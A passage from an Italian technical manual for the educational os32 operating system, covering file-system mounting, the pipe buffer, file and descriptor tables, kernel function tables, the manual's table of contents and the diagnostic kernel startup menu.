`ssize_t inode_pipe_write (inode_t *inode, void *buffer, size_t count);`	Scrive una certa quantità di byte nel condotto individuato da un inode già caricato nella tabella relativa. La funzione restituisce la quantità di byte scritti effettivamente, oppure il valore −1 in caso di problemi.
`void inode_print (void);`	Funzione diagnostica per la visualizzazione sintetica del contenuto della tabella degli inode.

109.8.4 Fasi dell'innesto di un file system

L'innesto e il distacco di un file system, coinvolge simultaneamente la tabella dei super blocchi e quella degli inode. Si distinguono due situazioni fondamentali: l'innesto del file system principale e quello di un file system ulteriore.

Quando si tratta dell'innesto del file system principale, la tabella dei super blocchi è priva di voci e quella degli inode non contiene riferimenti a file system. La funzione ***sb_mount()*** viene chiamata indicando, come riferimento all'inode di innesto, il puntatore a una variabile puntatore contenente il valore nullo:

```
...
    inode_t *inode;
    sb_t    *sb;
    ...
    inode = NULL;
    sb = sb_mount (DEV_DSK0, &inode, MOUNT_DEFAULT);
    ...
```

La funzione ***sb_mount()*** carica il super blocco nella tabella relativa, ma trovando il riferimento all'inode di innesto nullo, provvede a caricare l'inode della directory radice dello stesso dispositivo, creando un collegamento incrociato tra le tabelle dei super blocchi e degli inode, come si vede nella figura successiva.

Figura 109.102. Collegamento tra la tabella degli inode e quella dei super blocchi, quando si innesta il file system principale.

Per innestare un altro file system, occorre prima disporre dell'inode di una directory (appropriata) nella tabella degli inode, quindi si può caricare il super blocco del nuovo file system, creando il collegamento tra directory e file system innestato.

Figura 109.103. Innesto di un file system nella directory '`/usr/`'.

109.8.5 Condotti

I condotti sono gestiti da os32 nel modo tradizionale, sfruttando nell'inode la poca memoria che altrimenti servirebbe per i riferimenti ai blocchi di dati. In pratica, secondo la struttura del tipo '**`inode_t`**', si usa ***direct[]***, ***indirect1*** e ***indirect2***. Ciò comporta complessivamente la disponibilità di soli 18 byte, cosa che comunque sarebbe insufficiente per lo standard attuale dei sistemi Unix.

Lo spazio di questi 18 byte viene trattato come una coda e scandito attraverso due indici: quello di scrittura e quello di lettura. Durante l'accesso all'inode che rappresenta un condotto si distinguono due stati, individuati dal bit ***pipe_dir***.

Figura 109.104. Esempio di utilizzo di un condotto, attraverso varie fasi di scrittura e lettura.

La figura mostra un esempio che dovrebbe chiarire il meccanismo di funzionamento del condotto.

1. Inizialmente gli indici di scrittura e lettura si trovano ad avere lo stesso valore (nella figura si trovano nella posizione zero, ma qualunque altra posizione sarebbe equivalente), mentre il bit ***pipe_dir*** indica «scrittura». In questa situazione, si deve procedere con la scrittura, durante la quale l'indice di scrittura non può superare nuovamente quello di lettura.

2. Nel secondo disegno della figura si vede che è avvenuta una scrittura che ha occupato 13 byte, mentre l'indice di scrittura si trova sul quattordicesimo (quello successivo all'ultimo byte scritto).

3. A questo punto, si suppone che inizi la lettura del condotto: in tal caso, dato che il bit ***pipe_dir*** indica ancora «scrittura», la lettura non può superare la posizione che ha raggiunto l'indice di scrittura. Pertanto si suppone che la lettura raccolga la stessa quantità di byte occupati precedentemente dalla scrittura. Quando l'indice di lettura incontra quello di scrittura, il bit ***pipe_dir*** deve essere impostato a «scrittura», perché non c'è altro che si possa leggere. Tale bit era già impostato nel modo corretto e quindi non si notano variazioni.

4. Nel quarto disegno si vede l'inizio di una nuova fase di scrittura che raggiunge la fine dello spazio dei 18 byte previsti per riprendere dall'inizio. In questa fase di scrittura gli indici non si incontrano e nulla cambia nello stato di ***pipe_dir***.

5. Nel quinto disegno (all'inizio del lato destro), la scrittura riprende e raggiunge l'indice di lettura (che non può essere superato). Qui lo stato rappresentato da ***pipe_dir*** cambia, dal momento che non si può più procedere con la scrittura, adesso indica «lettura».
6. Nel sesto disegno si vede l'inizio di una lettura. Dopo di questa lettura, potrebbe esserci una fase di scrittura, ma senza poter superare l'indice di lettura. Comunque, questa scrittura non viene eseguita.
7. Nell'ultimo disegno si vede che la lettura continua, fino a raggiungere l'indice di scrittura, quando così il valore di ***pipe_dir*** viene invertito nuovamente.

In pratica, quando gli indici di lettura e scrittura coincidono, per sapere se si può procedere con una scrittura o una lettura, occorre chiederlo a ***pipe_dir***; diversamente, con indici diversi, la scrittura o la lettura può procedere indifferentemente, ma solo fino al raggiungimento dell'altro indice. Poi, se è l'indice di lettura che ha appena raggiunto quello di scrittura, ***pipe_dir*** deve essere impostato per richiedere la scrittura; al contrario, quando è l'indice di scrittura che raggiunge quello di lettura, ***pipe_dir*** deve richiedere la lettura successiva.

109.8.6 File «kernel/fs/file_...»

I file '`kernel/fs/file_...`' descrivono le funzioni per la gestione della tabella dei file, la quale si collega a sua volta a quella degli inode. In realtà, le funzioni di questo gruppo sono in numero molto limitato, perché l'intervento nella tabella dei file avviene prevalentemente per opera di funzioni che gestiscono i descrittori.

La tabella dei file è rappresentata dall'array ***file_table[]*** e per individuare un certo elemento dell'array si usa preferibilmente la funzione ***file_reference()***. Gli elementi della tabella dei file sono di tipo '**`file_t`**' (definito nel file '`kernel/fs.h`'); una voce della tabella rappresenta un file aperto se il campo dei riferimenti (***references***) ha un valore maggiore di zero.

Figura 109.105. Struttura del tipo '**`file_t`**', corrispondente agli elementi dell'array ***file_table[]***.

riferimenti attivi a questo file provenienti da descrittori
indice interno di accesso al file
modalità di apertura
riferimento all'inode del file

```
typedef struct file file_t;

struct file {
    int       references;
    off_t     offset;
    int       oflags;
    inode_t  *inode;
};
```

Nel membro ***oflags*** si annotano esclusivamente opzioni relative alla modalità di apertura del file: lettura, scrittura o entrambe; pertanto si possono usare le macro-variabili ***O_RDONLY***, ***O_WRONLY*** e ***O_RDWR***, come dichiarato nel file di intestazione '`lib/fcntl.h`'. Il membro ***offset*** rappresenta l'indice interno di accesso al file, per l'operazione successiva di lettura o scrittura al suo interno. Il membro ***references*** è un contatore dei riferimenti a questa tabella, da parte di descrittori di file.

La tabella dei file si collega a quella degli inode, attraverso il membro ***inode***. Più voci della tabella dei file possono riferirsi allo stesso inode, perché hanno modalità di accesso differenti, oppure soltanto per poter distinguere l'indice interno di lettura e scrittura. Va osservato

che le voci della tabella di inode potrebbero essere usate direttamente e non avere elementi corrispondenti nella tabella dei file.

Figura 109.106. Collegamento tra la tabella dei file e quella degli inode.

Tabella 109.107. Funzioni fatte esclusivamente per la gestione della tabella dei file ***file_table[]***.

Funzione	Descrizione
`file_t *file_reference (int` ***fno***`);`	Restituisce il puntatore all'elemento ***fno***-esimo della tabella dei file. Se ***fno*** è un valore negativo, viene restituito il puntatore a una voce libera della tabella.
`file_t *file_stdio_dev_make (dev_t` ***device***`, mode_t` ***mode***`, int` ***oflags***`);`	Crea una voce per l'accesso a un file di dispositivo standard di input-output, restituendo il puntatore alla voce stessa.

109.8.7 Descrittori di file

Le tabelle di super blocchi, inode e file, riguardano il sistema nel complesso. Tuttavia, l'accesso normale ai file avviene attraverso il concetto di «descrittore», il quale è un file aperto da un certo processo elaborativo. Nel file '`kernel/fs.h`' si trova la dichiarazione e descrizione del tipo derivato '**`fd_t`**', usato per costruire una tabella di descrittori, ma tale tabella non fa parte della gestione del file system, bensì è incorporata nella tabella dei processi elaborativi. Pertanto, ogni processo ha una propria tabella di descrittori di file.

Figura 109.108. Struttura del tipo '**`fd_t`**', con cui si costituiscono gli elementi delle tabelle dei descrittori di file, una per ogni processo.

indicatori dello stato del file e delle modalità di accesso
indicatori del descrittore
riferimento alla tabella dei file di sistema

```
typedef struct fd fd_t;
struct fd {
    int     fl_flags;
    int     fd_flags;
    file_t *file;
};
```

Il membro ***fl_flags*** consente di annotare indicatori del tipo '**`O_RDONLY`**', '**`O_WRONLY`**', '**`O_RDWR`**', '**`O_CREAT`**', '**`O_EXCL`**', '**`O_NOCTTY`**', '**`O_TRUNC`**' e '**`O_APPEND`**', come dichiarato nella libreria standard, nel file di intestazione '`lib/fcntl.h`'. Tali indicatori si combinano assieme con l'operatore binario OR. Altri tipi di opzione che sarebbero previsti nel file '`lib/fcntl.h`', sono privi di effetto nella gestione del file system di os16.

Il membro ***fd_flags*** serve a contenere, eventualmente, l'opzione '**`FD_CLOEXEC`**', definita nel file '`lib/fcntl.h`'. Non sono previste altre opzioni di questo tipo.

Figura 109.109. Collegamento tra le tabelle dei descrittori e la tabella complessiva dei file. La tabella ***proc_table[x].fd[]*** rappresenta i descrittori di file del processo elaborativo ***x***.

109.8.8 File «kernel/fs/path_...»

I file '`kernel/fs/path_...`' descrivono le funzioni che fanno riferimento a file o directory attraverso una stringa che ne descrive il percorso.

Tabella 109.110. Funzioni per la gestione dei file, a cui si fa riferimento attraverso un percorso, senza indicazioni sul processo elaborativo.

Funzione	Descrizione
`int path_fix (char *path);`	Verifica il percorso indicato semplificandolo, quindi sovrascrive il percorso originario con quello riveduto e corretto. Un percorso assoluto rimane assoluto; un percorso relativo rimane relativo, mancando qualunque indicazione sulla directory corrente.
`int path_full (const char *path, const char *path_cwd, char *full_path);`	Ricostruisce un percorso assoluto, usando come riferimento la directory corrente indicata in ***path_cwd***, salvandolo in ***path_full***.

Tabella 109.111. Funzioni per la gestione dei file, a cui si fa riferimento attraverso un percorso, tenendo conto del processo elaborativo per conto del quale si svolge l'operazione. Del processo elaborativo si considera soprattutto l'identità efficace, per conoscerne i privilegi e determinare se è data effettivamente la facoltà di eseguire l'azione richiesta.

Funzione	Descrizione
`inode_t *path_inode (pid_t` ***pid***`,` `const char *`***path***`);`	Apre l'inode del file indicato tramite il percorso, purché il processo ***pid*** abbia i permessi di accesso («x») alle directory che vi conducono. La funzione restituisce il puntatore all'inode aperto, oppure il puntatore nullo se non può eseguire l'operazione.
`dev_t path_device (pid_t` ***pid***`,` `const char *`***path***`);`	Restituisce il numero del dispositivo di un file di dispositivo; pertanto, il percorso deve fare riferimento a un file di dispositivo, per poter ottenere un risultato valido.

`inode_t`
`*path_inode_link (pid_t` ***pid***`,`
`const char *`***path***`,`
`inode_t *`***inode***`,`
`mode_t` ***mode***`);`
	Crea un collegamento fisico con il nome fornito in ***path***, riferito all'inode a cui punta ***inode***, ma se ***inode*** fosse un puntatore nullo, verrebbe semplicemente creato un file vuoto con un nuovo inode. Si richiede inoltre che il processo ***pid*** abbia i permessi di accesso per tutte le directory che portano al file da collegare e che nell'ultima ci sia anche il permesso di scrittura, dovendo intervenire su tale directory in questo modo. Se la funzione riesce nel proprio intento, restituisce il puntatore a ciò che descrive l'inode collegato o creato.

Delle funzioni che, per affinità, farebbero parte di questo gruppo, si trovano nella directory '`kernel/lib_s/`', in quanto servono per attuare delle chiamate di sistema.

Tabella 109.112. Funzioni per la gestione dei file, a cui si fa riferimento attraverso un percorso, tenendo conto del processo elaborativo per conto del quale si svolge l'operazione, contenute nella directory '`kernel/lib_s/`'.

Funzione	Descrizione
`int s_chdir (pid_t` ***pid***`,` `const char *`***path***`);`	Cambia la directory corrente, utilizzando il nuovo percorso indicato. È l'equivalente della funzione standard ***chdir()*** (sezione 112.4).

`int s_chmod (pid_t` ***pid***`,`
`const char *`***path***`,`
`mode_t` ***mode***`);`
	Cambia la modalità di accesso al file indicato. È l'equivalente della funzione standard ***chmod()*** (sezione 112.5).

`int s_chown (pid_t` ***pid***`,`
`const char *`***path***`,`
`uid_t` ***uid***`,`
`gid_t` ***gid***`);`
	Cambia l'utente e il gruppo proprietari del file. È l'equivalente della funzione standard ***chown()*** (sezione 112.6).

`int s_link (pid_t` ***pid***`,`
`const char *`***path_old***`,`
`const char *`***path_new***`);`
	Crea un collegamento fisico. È l'equivalente della funzione standard ***link()*** (sezione 112.26).

`int s_mkdir (pid_t` ***pid***`,`
`const char *`***path***`,`
`mode_t` ***mode***`);`
	Crea una directory, con la modalità dei permessi indicata. È l'equivalente della funzione standard ***mkdir()*** (sezione 112.29).

Funzione	Descrizione
`int s_mknod (pid_t` ***pid***`, const char *`***path***`, mode_t` ***mode***`, dev_t` ***device***`);`	Crea un file vuoto, con il tipo e i permessi specificati da ***mode***; se si tratta di un file di dispositivo, viene preso in considerazione anche il parametro ***device***, per specificare il numero primario e secondario dello stesso. Va osservato che con questa funzione è possibile creare una directory priva delle voci '`.`' e '`..`'. È l'equivalente della funzione standard ***mknod()*** (sezione 112.30).
`int s_mount (pid_t` ***pid***`, const char *`***path_dev***`, const char *`***path_mnt***`, int` ***options***`);`	Innesta il dispositivo corrispondente a ***path_dev***, nella directory ***path_mnt*** (tenendo conto della directory corrente del processo ***pid***), con le opzioni specificate. Le opzioni disponibili sono solo '**`MOUNT_DEFAULT`**' e '**`MOUNT_RO`**', come dichiarato nel file di intestazione '`lib/sys/os32.h`'.
`int s_open (pid_t` ***pid***`, const char *`***path***`, int` ***oflags***`, mode_t` ***mode***`);`	Apre un descrittore, fornendo però il percorso del file. È l'equivalente della funzione standard ***open()*** (sezione 112.32).
`int s_stat (pid_t` ***pid***`, const char *`***path***`, struct stat *`***buffer***`);`	Aggiorna la variabile strutturata a cui punta ***buffer***, con le informazioni sul file specificato. È l'equivalente della funzione standard ***stat()*** (sezione 112.45).
`int s_umount (pid_t` ***pid***`, const char *`***path_mnt***`);`	Stacca l'unità innestata nella directory indicata, purché nulla al suo interno sia attualmente in uso.
`int s_unlink (pid_t` ***pid***`, const char *`***path***`);`	Cancella un file o una directory, purché questa sia vuota. È l'equivalente della funzione standard ***unlink()*** (sezione 112.52).

109.8.9 File «kernel/fs/fd_...»

I file '`kernel/fs/fd_...`' descrivono le funzioni che fanno riferimento a file o directory attraverso il numero di descrittore, riferito a sua volta a un certo processo elaborativo. Pertanto, il numero del processo e il numero del descrittore sono i primi due parametri obbligatori di tutte queste funzioni.

Tabella 109.113. Funzioni per la gestione dei file, a cui si fa riferimento attraverso il descrittore, relativamente a un certo processo elaborativo, le quali non rappresentano direttamente la realizzazione di una chiamata di sistema.

Funzione	Descrizione
`fd_t *fd_reference (pid_t` ***pid***`, int *`***fdn***`);`	Produce il puntatore ai dati del descrittore ****fdn***. Se ****fdn*** è minore di zero, si ottiene il riferimento al primo descrittore libero, aggiornando anche ****fdn*** stesso.
`int fd_dup (pid_t` ***pid***`, int` ***fdn_old***`, int` ***fdn_min***`);`	Duplica il descrittore ***fdn_old***, creandone un altro con numero maggiore o uguale a ***fdn_min*** (viene scelto il primo libero a partire da ***fdn_num***).

Delle funzioni che, per affinità, farebbero parte di questo gruppo, si trovano nella directory

'`kernel/lib_s/`', in quanto servono per attuare delle chiamate di sistema.

Tabella 109.114. Funzioni per la gestione dei file, a cui si fa riferimento attraverso il descrittore, tenendo conto del processo elaborativo per conto del quale si svolge l'operazione, contenute nella directory '`kernel/lib_s/`'.

Funzione	Descrizione
`int s_dup (pid_t` ***pid*****,** `int` ***fdn_old***`);`	Duplica il descrittore ***fdn_old***, creandone un altro (utilizzando il primo numero di descrittore libero) il cui numero viene restituito dalla funzione. È l'equivalente della funzione standard ***dup()*** (sezione 112.9).
`int s_dup2 (pid_t` ***pid*****,** `int` ***fdn_old*****,** `int` ***fdn_new***`);`	Duplica il descrittore ***s_old***, creandone un altro con numero ***fdn_new***. Se però ***fdn_new*** è già aperto, prima della duplicazione questo viene chiuso. È l'equivalente della funzione standard ***dup2()*** (sezione 112.9).
`int s_fchmod (pid_t` ***pid*****,** `int` ***fdn*****,** `mode_t` ***mode***`);`	Cambia la modalità dei permessi (solo gli ultimi 12 bit del parametro ***mode*** vengono considerati). È l'equivalente della funzione standard ***fchmod()*** (sezione 112.5).
`int s_fchown (pid_t` ***pid*****,** `int` ***fdn*****,** `uid_t` ***uid*****,** `gid_t` ***gid***`);`	Cambia la proprietà (utente e gruppo). È l'equivalente della funzione standard ***fchown()*** (sezione 112.6).
`int s_fcntl (pid_t` ***pid*****,** `int` ***fdn*****,** `int` ***cmd*****,** `int` ***arg***`);`	Svolge il compito della funzione standard ***fcntl()*** (sezione 112.15).
`int s_fstat (pid_t` ***pid*****,** `int` ***fdn*****,** `struct stat *`***buffer***`);`	Svolge il compito della funzione standard ***fstat()*** (sezione 112.45).
`off_t s_lseek (pid_t` ***pid*****,** `int` ***fdn*****,** `off_t` ***offset*****,** `int` ***whence***`);`	Riposiziona l'indice interno di accesso del descrittore di file. È l'equivalente della funzione standard ***lseek()*** (sezione 112.28).
`int s_pipe (pid_t` ***pid*****,** `int` ***pipefd[2]***`);`	Crea un condotto senza nome (*pipe*), per il quale, i due descrittori necessari vengono salvati in ***pipefd[]***. Per la precisione, ***pipefd[0]*** individua il descrittore del lato di lettura, mentre ***pipefd[1]*** individua quello del lato di scrittura. È l'equivalente della funzione standard ***pipe()*** (sezione 112.33).
`ssize_t s_read (pid_t` ***pid*****,** `int` ***fdn*****,** `void *`***buffer*****,** `size_t` ***count*****,** `int *`***eof***`);`	Legge da un descrittore, aggiornando eventualmente la variabile ****eof*** in caso di fine del file. È l'equivalente della funzione standard ***read()*** (sezione 112.34).
`ssize_t s_write (pid_t` ***pid*****,** `int` ***fdn*****,** `const void *`***buffer*****,** `size_t` ***count***`);`	Scrive nel descrittore. È l'equivalente della funzione standard ***write()*** (sezione 112.54).

Parte ix

Manuale

110 Avvio del sistema e conclusione 6769

110.1 Interazione con il kernel 6769
110.2 Avvio e conclusione del sistema «normale» 6771

111 Sezione 1: programmi eseguibili o comandi interni di shell 6773

111.1 os32: aaa(1) 6773
111.2 os32: allocated(1) 6774
111.3 os32: bbb(1) 6774
111.4 os32: cat(1) 6774
111.5 os32: ccc(1) 6774
111.6 os32: chgrp(1) 6775
111.7 os32: chmod(1) 6775
111.8 os32: chown(1) 6776
111.9 os32: cp(1) 6777
111.10 os32: date(1) 6777
111.11 os32: ed(1) 6778
111.12 os32: kill(1) 6779
111.13 os32: ln(1) 6779
111.14 os32: login(1) 6780
111.15 os32: ls(1) 6781
111.16 os32: man(1) 6782
111.17 os32: mkdir(1) 6783
111.18 os32: mmcheck(1) 6783
111.19 os32: more(1) 6784
111.20 os32: ps(1) 6785
111.21 os32: rm(1) 6786
111.22 os32: shell(1) 6787
111.23 os32: t_(1) 6787
111.24 os32: touch(1) 6788
111.25 os32: tty(1) 6788
111.26 os32: yes(1) 6789

112 Sezione 2: chiamate di sistema 6791

112.1 os32: _Exit(2) 6791
112.2 os32: _exit(2) 6791

112.3 os32: brk(2) 6791
112.4 os32: chdir(2) 6793
112.5 os32: chmod(2) 6794
112.6 os32: chown(2) 6796
112.7 os32: clock(2) 6797
112.8 os32: close(2) 6798
112.9 os32: dup(2) 6798
112.10 os32: dup2(2) 6799
112.11 os32: execve(2) 6799
112.12 os32: fchdir(2) 6801
112.13 os32: fchmod(2) 6801
112.14 os32: fchown(2) 6801
112.15 os32: fcntl(2) 6801
112.16 os32: fork(2) 6803
112.17 os32: fstat(2) 6804
112.18 os32: getcwd(2) 6804
112.19 os32: getgid(2) 6805
112.20 os32: geteuid(2) 6806
112.21 os32: getpgrp(2) 6806
112.22 os32: getpid(2) 6806
112.23 os32: getppid(2) 6806
112.24 os32: getuid(2) 6807
112.25 os32: kill(2) 6808
112.26 os32: link(2) 6808
112.27 os32: longjmp(2) 6810
112.28 os32: lseek(2) 6810
112.29 os32: mkdir(2) 6811
112.30 os32: mknod(2) 6812
112.31 os32: mount(2) 6813
112.32 os32: open(2) 6815
112.33 os32: pipe(2) 6817
112.34 os32: read(2) 6818
112.35 os32: rmdir(2) 6819
112.36 os32: sbrk(2) 6820
112.37 os32: setegid(2) 6820
112.38 os32: seteuid(2) 6820
112.39 os32: setgid(2) 6820
112.40 os32: setjmp(2) 6822
112.41 os32: setpgrp(2) 6825

112.42 os32: setuid(2) 6826
112.43 os32: signal(2) 6827
112.44 os32: sleep(2) 6828
112.45 os32: stat(2) 6829
112.46 os32: sys(2) 6833
112.47 os32: stime(2) 6834
112.48 os32: tcgetattr(2) 6834
112.49 os32: time(2) 6836
112.50 os32: umask(2) 6837
112.51 os32: umount(2) 6838
112.52 os32: unlink(2) 6838
112.53 os32: wait(2) 6838
112.54 os32: write(2) 6840
112.55 os32: z(2) 6841
112.56 os32: z_perror(2) 6841
112.57 os32: z_printf(2) 6841
112.58 os32: z_vprintf(2) 6842

113 Sezione 3: funzioni di libreria 6843

113.1 os32: _gcc(3) 6843
113.2 os32: abort(3) 6843
113.3 os32: abs(3) 6843
113.4 os32: access(3) 6844
113.5 os32: asctime(3) 6845
113.6 os32: assert(3) 6845
113.7 os32: atexit(3) 6846
113.8 os32: atoi(3) 6847
113.9 os32: atol(3) 6848
113.10 os32: basename(3) 6848
113.11 os32: clearerr(3) 6849
113.12 os32: closedir(3) 6849
113.13 os32: creat(3) 6850
113.14 os32: ctime(3) 6850
113.15 os32: dirname(3) 6852
113.16 os32: div(3) 6852
113.17 os32: endgrent(3) 6854
113.18 os32: endpwent(3) 6854
113.19 os32: errno(3) 6854
113.20 os32: exec(3) 6860
113.21 os32: execl(3) 6861

113.22 os32: execle(3) 6861
113.23 os32: execlp(3) 6861
113.24 os32: execv(3) 6862
113.25 os32: execvp(3) 6862
113.26 os32: exit(3) 6862
113.27 os32: fclose(3) 6862
113.28 os32: feof(3) 6863
113.29 os32: ferror(3) 6863
113.30 os32: fflush(3) 6864
113.31 os32: fgetc(3) 6864
113.32 os32: fgetpos(3) 6865
113.33 os32: fgets(3) 6866
113.34 os32: fileno(3) 6867
113.35 os32: fopen(3) 6868
113.36 os32: fprintf(3) 6870
113.37 os32: fputc(3) 6870
113.38 os32: fputs(3) 6871
113.39 os32: fread(3) 6872
113.40 os32: free(3) 6872
113.41 os32: freopen(3) 6872
113.42 os32: fscanf(3) 6872
113.43 os32: fseek(3) 6873
113.44 os32: fseeko(3) 6874
113.45 os32: fsetpos(3) 6874
113.46 os32: ftell(3) 6874
113.47 os32: ftello(3) 6875
113.48 os32: fwrite(3) 6875
113.49 os32: getc(3) 6875
113.50 os32: getchar(3) 6876
113.51 os32: getenv(3) 6876
113.52 os32: getgrent(3) 6876
113.53 os32: getgrnam(3) 6878
113.54 os32: getpwuid(3) 6879
113.55 os32: getopt(3) 6879
113.56 os32: getpwent(3) 6883
113.57 os32: getpwnam(3) 6884
113.58 os32: getpwuid(3) 6886
113.59 os32: gets(3) 6886
113.60 os32: gmtime(3) 6886

113.61 os32: imaxabs(3) 6886
113.62 os32: imaxdiv(3) 6886
113.63 os32: input_line(3) 6886
113.64 os32: isatty(3) 6887
113.65 os32: labs(3) 6888
113.66 os32: ldiv(3) 6888
113.67 os32: llabs(3) 6888
113.68 os32: lldiv(3) 6888
113.69 os32: major(3) 6888
113.70 os32: makedev(3) 6888
113.71 os32: malloc(3) 6889
113.72 os32: memccpy(3) 6890
113.73 os32: memchr(3) 6891
113.74 os32: memcmp(3) 6891
113.75 os32: memcpy(3) 6892
113.76 os32: memmove(3) 6892
113.77 os32: memset(3) 6893
113.78 os32: minor(3) 6893
113.79 os32: mktime(3) 6894
113.80 os32: namep(3) 6894
113.81 os32: offsetof(3) 6895
113.82 os32: opendir(3) 6895
113.83 os32: perror(3) 6896
113.84 os32: printf(3) 6897
113.85 os32: putc(3) 6901
113.86 os32: putchar(3) 6901
113.87 os32: putenv(3) 6901
113.88 os32: puts(3) 6902
113.89 os32: qsort(3) 6902
113.90 os32: rand(3) 6903
113.91 os32: readdir(3) 6904
113.92 os32: realloc(3) 6905
113.93 os32: rewind(3) 6905
113.94 os32: rewinddir(3) 6905
113.95 os32: scanf(3) 6906
113.96 os32: setbuf(3) 6911
113.97 os32: setenv(3) 6911
113.98 os32: setgrent(3) 6912
113.99 os32: setpwent(3) 6912

113.100 os32: setvbuf(3) 6912
113.101 os32: snprintf(3) 6912
113.102 os32: sprintf(3) 6913
113.103 os32: srand(3) 6913
113.104 os32: sscanf(3) 6913
113.105 os32: stdio(3) 6913
113.106 os32: strcat(3) 6914
113.107 os32: strchr(3) 6915
113.108 os32: strcmp(3) 6916
113.109 os32: strcoll(3) 6916
113.110 os32: strcpy(3) 6917
113.111 os32: strcspn(3) 6917
113.112 os32: strdup(3) 6917
113.113 os32: strerror(3) 6918
113.114 os32: strlen(3) 6918
113.115 os32: strncat(3) 6919
113.116 os32: strncmp(3) 6919
113.117 os32: strncpy(3) 6919
113.118 os32: strpbrk(3) 6920
113.119 os32: strrchr(3) 6920
113.120 os32: strspn(3) 6920
113.121 os32: strstr(3) 6921
113.122 os32: strtok(3) 6921
113.123 os32: strtol(3) 6923
113.124 os32: strtoul(3) 6925
113.125 os32: strxfrm(3) 6925
113.126 os32: ttyname(3) 6926
113.127 os32: unsetenv(3) 6926
113.128 os32: vfprintf(3) 6927
113.129 os32: vfscanf(3) 6927
113.130 os32: vprintf(3) 6927
113.131 os32: vscanf(3) 6928
113.132 os32: vsnprintf(3) 6930
113.133 os32: vsprintf(3) 6930
113.134 os32: vsscanf(3) 6930

114 Sezione 4: file speciali 6931

114.1 os32: console(4) 6931
114.2 os32: ata(4) 6931
114.3 os32: kmem_file(4) 6932

114.4 os32: kmem_inode(4) 6932
114.5 os32: kmem_mmp(4) 6933
114.6 os32: kmem_ps(4) 6934
114.7 os32: kmem_sb(4) 6934
114.8 os32: mem(4) 6935
114.9 os32: null(4) 6935
114.10 os32: port(4) 6935
114.11 os32: tty(4) 6936
114.12 os32: zero(4) 6936

115 Sezione 5: formato dei file e convenzioni 6937

115.1 os32: group(5) 6937
115.2 os32: inittab(5) 6937
115.3 os32: issue(5) 6938
115.4 os32: passwd(5) 6938

116 Sezione 7: varie 6941

116.1 os32: environ(7) 6941
116.2 os32: undocumented(7) 6942

117 Sezione 8: comandi per l’amministrazione del sistema 6943

117.1 os32: getty(8) 6943
117.2 os32: init(8) 6943
117.3 os32: MAKEDEV(8) 6944
117.4 os32: mount(8) 6945
117.5 os32: umount(8) 6946

118 Sezione 9: kernel 6947

118.1 os32: ata(9) 6947
118.2 os32: blk(9) 6948
118.3 os32: dev(9) 6952
118.4 os32: dm(9) 6958
118.5 os32: fs(9) 6958
118.6 os32: ibm_i386(9) 6993
118.7 os32: kbd(9) 6996
118.8 os32: lib_k(9) 6997
118.9 os32: lib_s(9) 6997
118.10 os32: main(9) 6997
118.11 os32: memory(9) 6998
118.12 os32: multiboot(9) 6999
118.13 os32: part(9) 6999
118.14 os32: proc(9) 6999
118.15 os32: screen(9) 7020
118.16 os32: tty(9) 7022

Avvio del sistema e conclusione

os32, come già os16, ha due modalità di funzionamento: si può interagire direttamente con il kernel, oppure si può avviare il processo '**init**' e procedere con l'organizzazione consueta di un sistema Unix tradizionale. La modalità di colloquio diretto con il kernel è servita per consentire lo sviluppo di os32 e potrebbe essere utile per motivi di studio. Va osservato che durante l'interazione diretta con il kernel si dispone di una sola console, mentre quando si avvia '**init**' si possono avere delle console virtuali in base alla configurazione.

110.1 Interazione con il kernel

L'avvio di os32 passa, in ogni caso, per una prima fase di colloquio con il kernel. Si ottiene un menù e si possono premere semplicemente dei tasti, seguiti però da [*Invio*], secondo l'elenco previsto, per ottenere delle azioni molto semplici. In questa fase il disco da cui risulta avviato il kernel è già innestato ed è prevista la possibilità di avviare tre programmi: '/bin/aaa', '/bin/bbb' e '/bin/ccc'. In tal modo, si ha la possibilità di avviare qualcosa, a titolo diagnostico, prima dello stesso '**init**' ('/bin/init'.

Figura 110.1. Aspetto di os32 in funzione, con il menù in evidenza.

```
os32 build 20AAMMGGHHmm ram 130048 Kibyte
[ata_init] ATA drive 0 size 8064 Kib
[ata_drq] ERROR: drive 2 error
[dm_init] ATA drive=0 total sectors=16128
[dm_init] partition type=0c start sector=63 total sectors=2961
[dm_init] partition type=81 start sector=3024 total sectors=13104
.----------------------------------------------------------------.
| h    show this menu                              .--------------.|
| t    show internal timer values                  | all commands ||
| f    fork the kernel                             | followed by  ||
| m    memory map (HEX)                            | [Enter]      ||
| g|G  show GDT table first 21+21 items            `--------------'|
| i|I  show IDT table first 21+21 items                            |
| p    process status list                                         |
| s    super block list                                            |
| n    list of active inodes                                       |
| 1..9 kill process  1 to 9                                        |
| A..F kill process 10 to 15                                       |
| a..c run programs '/bin/aaa' to '/bin/ccc' in parallel           |
| x    exit interaction with kernel and start '/bin/init'          |
| q    quit kernel                                                 |
`----------------------------------------------------------------'
```

Le funzioni principali disponibili in questa modalità diagnostica sono riassunte nella tabella successiva. È importante tenere presente che, a differenza di os16, anche in questa fase i comandi sono conclusi con la pressione del tasto [*Invio*].

Comando	Risultato
`h`	Mostra il menù di funzioni disponibili.
`t`	Mostra i valori gestiti internamente dell'orologio del kernel.
`f`	Esegue una biforcazione del kernel, nella quale, il processo figlio si limita a mostrare ripetutamente il proprio numero di processo.
`m`	Mostra la mappa della memoria, elencando le aree continue utilizzate.

Comando	Risultato
`g` `G`	Mostra le prime voci della tabella GDT, in binario.
`i` `I`	Mostra le prime voci della tabella IDT, in binario.
`p`	Mostra la situazione dei processi e altre informazioni.
`s`	Mostra delle informazioni sul super blocco.
`n`	Mostra l'elenco degli inode attivi.
`1`	Invia il segnale '**`SIGKILL`**' al processo numero uno.

`2`|`3`|`4`|`5`|`6`|`7`|`8`
|`9`|`A`|`B`|`C`|`D`|`E`|
`F`
	Invia il segnale '**`SIGTERM`**' al processo con il numero corrispondente, da 2 a 15.

`a`|`b`|`c`	Avvia il programma '`/bin/aaa`', '`/bin/bbb`' o '`/bin/ccc`'.
`x`	Termina il ciclo e successivamente si passa all'avvio di '`/bin/init`'.
`q`	Ferma il sistema.

Figura 110.3. Aspetto di os32 in funzione mentre visualizza la tabella dei processi avviati e la mappa della memoria.

```
c
abaabaaba
p
pp  p pg                             T * 0x1000 D * 0x1000 stack
id id rp  tty  uid euid suid usage s addr  size addr  size pointer  name
 0  0  0 0000    0    0    0 00.03 R 00000 028e 00000 0000 028eb2c os32 kernel
 0  1  0 0000    0    0    0 00.09 r 0051e 000e 0052c 002d 002cf88 /bin/ccc
 1  2  0 0000   10   10   10 00.00 s 002bc 000e 002ca 002d 002cf34 /bin/aaa
 1  3  0 0000   11   11   11 00.00 s 002f7 000e 00305 002d 002cf34 /bin/bbb
ab
m
